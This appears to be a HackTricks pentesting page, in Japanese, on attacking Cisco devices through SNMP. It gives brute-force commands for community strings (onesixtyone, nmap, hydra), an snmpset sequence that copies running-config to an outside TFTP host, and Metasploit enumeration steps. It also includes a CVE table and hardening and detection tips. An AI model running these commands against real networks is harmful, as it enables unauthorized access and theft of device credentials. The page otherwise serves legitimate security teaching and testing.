Cisco SNMP
Reading time: 7 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Ciscoネットワークのペンテスト
SNMPは、一般的なメッセージ用に161/UDPポート、トラップメッセージ用に162/UDPポートを使用してUDP上で機能します。このプロトコルはコミュニティストリングに依存しており、SNMPエージェントとマネージャー間の通信を可能にするプレーンテキストの「パスワード」として機能します。これらのストリングは、特に読み取り専用(RO)または読み書き(RW)権限のアクセスレベルを決定します。
古典的でありながら依然として非常に効果的な攻撃ベクターは、コミュニティストリングをブルートフォースして、認証されていないユーザーからデバイス管理者(RWコミュニティ)に昇格することです。このタスクに便利なツールはonesixtyone:
onesixtyone -c community_strings.txt -i targets.txt
他の迅速なオプションは、Nmap NSEスクリプトsnmp-brute
またはHydraのSNMPモジュールです:
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
SNMPを通じた設定のダンプ (CISCO-CONFIG-COPY-MIB)
RWコミュニティを取得すると、CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96
) を悪用して、CLIアクセスなしでrunning-config/startup-configをTFTP/FTPサーバーにコピーできます。一般的なアプローチは次の2つです:
- Nmap NSE –
snmp-ios-config
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1
スクリプトは自動的にコピー操作を調整し、設定をstdoutに出力します。
- 手動
snmpset
シーケンス
# Copy running-config (4) to a TFTP server (1) – random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
行識別子はワンショットです。5分以内の再利用はinconsistentValue
エラーを引き起こします。
ファイルがTFTPサーバーにあると、資格情報(enable secret
、username <user> secret
など)を確認したり、修正した設定をデバイスにプッシュしたりできます。
Metasploitの便利なツール
cisco_config_tftp
– 同じMIBを悪用した後、TFTP経由でrunning-config/startup-configをダウンロードします。snmp_enum
– デバイスのインベントリ情報、VLAN、インターフェースの説明、ARPテーブルなどを収集します。
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run
最近のCisco SNMP脆弱性 (2023 – 2025)
ベンダーのアドバイザリーを追跡することは、エンゲージメント内でのゼロデイからnデイの機会を特定するのに役立ちます:
年 | CVE | 影響を受ける機能 | 影響 |
---|---|---|---|
2025 | CVE-2025-20174 | SNMPサブシステム | 作成されたパケットが認証されたDoS(リロード)を引き起こす(IOS/IOS-XE (v1/v2c/v3))。 |
2024 | CVE-2024-20373 | IPv4 ACL処理 | 誤って設定された拡張ACLが静かに失敗し、正しいコミュニティ/ユーザーが知られている場合に認証されていないSNMPポーリングを許可します。 |
2025 | (まだCVEなし) | SNMPv3設定制限のバイパス | 有効なv3ユーザーが拒否されるべきアドレスからポーリングできます。 |
悪用可能性は、コミュニティ文字列またはv3資格情報を持っていることに依存することが多く、これがブルートフォース攻撃が依然として関連性を持つ理由の一つです。
ハードニングと検出のヒント
- 修正されたIOS/IOS-XEバージョンにアップグレードする(上記のCVEについてはCiscoのアドバイザリーを参照)。
- v1/v2cよりもSNMPv3の
authPriv
(SHA-256/AES-256)を優先する。
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
- SNMPを管理VRFにバインドし、標準の番号付きIPv4 ACLで制限する(拡張名付きACLはリスクが高い – CVE-2024-20373)。
- RWコミュニティを無効にする;運用上必要な場合は、ACLとビューで制限する:
snmp-server community <string> RW 99 view SysView
- 監視する項目:
- UDP/161のスパイクや予期しないソース(SIEMルール)。
CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource
イベントは、アウトオブバンドの設定変更を示します。
- SNMPv3ロギングを有効にし、特定のDoSベクターを減らすために
snmp-server packetsize 1500
を設定します。
参考文献
- Cisco: SNMPを使用してCiscoデバイスに設定をコピーする方法
- Ciscoセキュリティアドバイザリー cisco-sa-snmp-uwBXfqww (CVE-2024-20373)
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。